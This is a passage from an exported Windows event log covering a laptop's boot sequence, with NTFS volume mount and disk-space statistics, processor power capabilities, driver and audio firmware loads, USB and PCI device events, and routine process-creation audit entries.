{d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 2268\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t98\tVolume \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802} (\\Device\\HarddiskVolume6) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 1\n           Longest run cached: 9.04 GB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.414\t55\t\"Processor 0 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.416\t55\t\"Processor 1 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.419\t24\tThe time zone information was refreshed with exit reason 0. Current time zone bias is -420.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:50.430\t55\t\"Processor 14 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.432\t55\t\"Processor 15 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.435\t55\t\"Processor 16 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 2500\nMaximum performance percentage: 100\nMinimum performance percentage: 44\nMinimum throttle percentage: 4\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.506\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [1048576] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7E7D] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [5242880] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7EC0] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.520\t7005\t7005 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.520\t7002\t7002 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.544\t55\t\"Processor 17 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 2500\nMaximum performance percentage: 100\nMinimum performance percentage: 44\nMinimum throttle percentage: 4\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.630\t7010\t7010 - Wi-Fi Driver Enabled\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.725\t7017\t7017 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.737\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x4b0\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:50.816\t521\tActive battery count change.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:50.817\t521\tActive battery count change.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:50.833\t1\t[PDO] (0x0000.0x15.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.833\t1\t[PDO] (0x0000.0x15.0x01): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.834\t1\t[PDO] (0x0000.0x1f.0x03): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x15.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x15.0x01): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x1f.0x03): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:51.002\t29\tFX module is not supported in BIOS:  {bd99c961-c94e-49ce-b543-278c3fb63dfc} from \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_dtspp_2inst_lib.bin.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.002\t28\tLibrary is not supported in BIOS: \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_dtspp_2inst_lib.bin, status = The request is not supported..\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.189\t28\tLoaded DSP FW library: Libs\\dsp_lib_asrc_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.221\t28\tLoaded DSP FW library: Libs\\dsp_lib_intel_wov_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.242\t28\tLoaded DSP FW library: Libs\\dsp_lib_nld_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.276\t28\tLoaded DSP FW library: Libs\\dsp_lib_whm_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.327\t28\tLoaded DSP FW library: \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_nahimic_2inst_lib.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.331\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:51.331\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: INTELAUDIO\\DIF_0000&UIF_0000&CTLR_DEV_7E28&VEN_8086&DetectionVerification\\5&4672bc9&0&DIF_0000&UIF_0000\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:53.844\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:53.845\t207\t\"Physical disk {f721584f-c93a-4df4-f37c-1fcee53cc736} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 1                  \nDrive Manufacturer: Seagate                  \nDrive Model Number: Backup+ SL                  \nDrive Serial Number: NA5161RS\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 8 disk 1 offset 32256.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 9 disk 1 offset 214818619392.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 10 disk 1 offset 916314914816.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:54.625\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 170.13 GB and 170.42 GB\n           Change in available space: 304.44 MB\n           \n           Available clusters were between: 44596390 and 44674326\n           Reserved clusters were between: 76613 and 76613\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 300 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Is boot volume: true\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.660\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 611.77 GB and 611.82 GB\n           Change in available space: 50.75 MB\n           \n           Available clusters were between: 160370489 and 160383479\n           Reserved clusters were between: 11920 and 11920\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 626.66 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.673\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 58.59 MB and 62.59 MB\n           Change in available space: 4 MB\n           \n           Available clusters were between: 14998 and 16022\n           Reserved clusters were between: 0 and 0\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 1024 MB\n           Bytes per cluster: 4096\n           \n           Volume guid: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.673\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 9.24 GB and 9.24 GB\n           Change in available space: 4 MB\n           \n           Available clusters were between: 2419681 and 2420705\n           Reserved clusters were between: 0 and 0\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 25 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 33325\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 10992\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 3288\n           Most populated bin's minimum length: 16 KB\n           Most populated bin's maximum length: 16 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 13072\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 11\n           Longest run cached: 607.51 GB\n           Most populated bin Count: 3\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 50\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 2\n           Longest run cached: 32.05 MB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 30.01 MB\n           Most populated bin's maximum length: 31 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 842\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 2\n           Longest run cached: 9.04 GB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 192.01 MB\n           Most populated bin's maximum length: 200 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.888\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.888\t227\tUsbVideo camera has valid configuration\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.888\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.913\t206\tKS_WNF Register.\tInformation\tMicrosoft-Windows-KernelStreaming/Operational\tMicrosoft-Windows-KernelStreaming\n05.09.2026 08:28:54.914\t206\tStart of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.927\t18\tWindows cannot store Bluetooth authentication codes (link keys) on the local adapter. Bluetooth keyboards might not work in the system BIOS during startup.\tInformation\tSystem\tBTHUSB\n05.09.2026 08:28:54.938\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-007e-000000000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.939\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-007e-000000000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.940\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-300432000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.960\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-300432000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.960\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.964\t10\tCrash dump disabled.\tInformation\tMicrosoft-Windows-Kernel-Dump/Operational\tMicrosoft-Windows-Kernel-Dump\n05.09.2026 08:28:54.991\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-007e-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:54.991\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:55.009\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x560\n\tNew Process Name:\tC:\\Windows\\System32\\csrss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4b0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.369\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 398 ms\n           Longest stage: 8. Duration 177 ms (45% of the total)\n           Second longest stage: 7. Duration 94 ms (24% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t98\tVolume E: (\\Device\\HarddiskVolume8) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t9\t\"NTFS scanned entire volume bitmap.\n\n          